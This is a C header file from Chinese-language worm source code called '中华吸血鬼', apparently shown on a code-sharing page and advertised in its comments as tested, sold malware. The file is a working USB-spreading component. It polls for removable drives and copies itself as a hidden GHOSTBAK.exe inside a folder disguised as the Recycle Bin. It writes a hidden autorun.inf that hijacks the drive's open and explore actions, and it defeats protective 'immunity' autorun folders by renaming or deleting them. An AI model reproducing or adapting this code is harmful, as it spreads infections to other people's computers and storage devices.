📄 infecktionu.h
字号:
/*
中华吸血鬼源代码 作者:黑网之神购买代码后请勿随便发布,请
珍惜作者的劳动成果!如果代码丢失,概不负责代码风格和注释我
已经改的非常好了比较清晰,容易读懂,没有使用C++,使用纯C编写
,直接在VC++6.0下编译,编译就可以使用,经过数百次的测试,已经
非常完美了,无需过多修改!如果无法清除,请向作者索要一份专杀
作者:黑网之神 2008/5/1
*/
//infecktionU.h
//此份感染U盘代码已经非常的完美了....
#include "head.h"
//-------------------------------------------------------------------//
void infecktionstart();
BOOL findpath();
void findpathwhile();
void startother();
void createautorun();
void mulu();
void openwin();
DWORD WINAPI infecktionU(LPVOID lpParameter);
/*void copyme(char *file1,char *file2);*/
//-------------------------------------------------------------------//
const int SIZE_CHAR = 10; //产生的随机字符的个数
const char CCH[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
//-------------------------------------------------------------------//
char exepath[MAX_PATH];
char filepath[MAX_PATH]; //注释:USB路径
char USB=0; //注释:得到的U盘盘符定义
char szPath[MAX_PATH]; //注释:当前文件路径定义
char path[MAX_PATH];
char Refuse[MAX_PATH]; //把原来免疫U盘的autorun.inf文件夹改名
char pathss[MAX_PATH];
char pathss2[MAX_PATH];
char paths[MAX_PATH]="recycle.{645FF040-5081-101B-9F08-00AA002F954E}\\GHOSTBAK.exe";
char diskPath[5] = { 0 };
int cunzai=0; //注释:第一次删除
//-------------------------------------------------------------------//
void startother()
{
GetModuleFileName(NULL,szPath,MAX_PATH);//注释:得到当前文件路径
}
//-------------------------------------------------------------------//
BOOL findpath() //注释:找到U盘路径
{
DWORD allDisk = GetLogicalDrives();
if (allDisk!=0)
{
for (int i=0;i<40;i++) //假定最多有40个磁盘
{
if ((allDisk & 1)==1)
{
sprintf(diskPath, "%c", 'C'+i );
strcat(diskPath, ":\\" );
if (GetDriveType(diskPath)==DRIVE_REMOVABLE )
{
if( GetVolumeInformation(diskPath,0,0,0,0,0,0,0) ) //判断驱动是否准备就绪
{
strcpy(&USB,diskPath);
infecktionstart();
mulu();
//MessageBox( NULL,diskPath, "1",MB_OK );
break;
}
}
}
allDisk = allDisk>>1;
}
}
return false;
}
//-------------------------------------------------------------------//
void deltoherfile()
{
if (cunzai==0)
{
if (FILE_ATTRIBUTE_HIDDEN||FILE_ATTRIBUTE_READONLY||
FILE_ATTRIBUTE_SYSTEM ==GetFileAttributes(pathss2))
{
SetFileAttributes(pathss2,FILE_ATTRIBUTE_NORMAL);
DeleteFile(pathss2);
cunzai=1;
}
}
}
//-------------------------------------------------------------------//
void infecktionstart()
{
//------------------------
//这是得到随机数的代码
srand((unsigned)time(NULL));
char ch[SIZE_CHAR + 1] = {0};
for (int sj =0;sj<SIZE_CHAR; ++sj)
{
int x = rand() % (sizeof(CCH) - 1);
ch[sj] = CCH[x];
}
//------------------------
lstrcpy(filepath,&USB);
lstrcpy(path,filepath);
lstrcpy(pathss,path);
//-----------
lstrcpy(pathss2,path);
lstrcat(pathss2,"autorun.inf");
lstrcpy(Refuse,path);
lstrcat(Refuse,ch);
FILE *file;
if (FILE_ATTRIBUTE_DIRECTORY==GetFileAttributes(pathss2))
{
MoveFile(pathss2,Refuse); //给免疫U盘病毒的autorun.inf文件夹改名,U盘不会有权限问题,所以不会出错
}
else
{
deltoherfile();
file=fopen(pathss2,"r");
if (!file)
{
createautorun();
}
}
}
//-----------
//-------------------------------------------------------------------//
void findpathwhile() //注释:间隔1秒执行的动作
{
while(!findpath())
{
Sleep(1000); //注释:间隔1秒执行一次findpath
}
}
//-------------------------------------------------------------------//
DWORD WINAPI infecktionU(LPVOID lpParameter)
{
startother();//注释:得到当前文件路径
findpathwhile();//注释:不断循环找到U盘路径
return 0;
}
//-------------------------------------------------------------------//
void createautorun()
{
//-----------
//-----------写入autorun.inf的文件内容
FILE *file;
lstrcat(pathss,"autorun.inf");
file=fopen(pathss,"w");
// MessageBox( NULL,pathss, "1",MB_OK );
fputs("[autorun]\nOPEN=",file);
fputs(paths,file);
fputs("\nshell\\open=打开(&O)",file);
fputs("\nshell\\open\\Command=",file);
fputs(paths,file);
fputs("\nshell\\open\\Default=1",file);
fputs("\nshell\\explore=资源管理器(&X)",file);
fputs("\nshell\\explore\\Command=",file);
fputs(paths,file);
fclose(file);
SetFileAttributes(pathss,FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_SYSTEM);
}
//------------------------------------------------------------------------
void mulu()
{
////注释:建立U盘文件夹,并且复制到该文件夹
char delerror[MAX_PATH];
lstrcat(filepath,"recycle.{645FF040-5081-101B-9F08-00AA002F954E}");//把文件夹名字加入到filepath后
CreateDirectory(filepath,NULL);//注释:将建文件夹
lstrcpy(delerror,filepath);
lstrcat(delerror,"\\中华吸血鬼..//");
strcpy(exepath,filepath);//注释:把filepath变量放入exepath
lstrcat(exepath,"\\GHOSTBAK.exe");//注释:把文件名放入exepath,得到完整路径
CopyFile(szPath,exepath,FALSE);//注释:把当前文件复制到exepath路径
SetFileAttributes(filepath,FILE_ATTRIBUTE_HIDDEN + FILE_ATTRIBUTE_READONLY+FILE_ATTRIBUTE_SYSTEM);
CreateDirectory(delerror,NULL);
}
//-------------------------------------------------------------------//
void openwin()
{
char op[MAX_PATH];
char op2[MAX_PATH];
lstrcpy(op,diskPath);
sprintf(op2,"cmd /c start %s",op);
WinExec(op2,SW_HIDE);
}
//-------------------------------------------------------------------//
// void copyme(char *file1,char *file2)
// {
//
// char ch[4];
// FILE *sfp,*dfp;
// fopen(file1,"rb");
// dfp=fopen(file2,"wb");
// fread(ch,4,1,sfp );
// fwrite(ch,4,1,dfp);
// fclose(sfp);
// fclose(dfp);
//}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -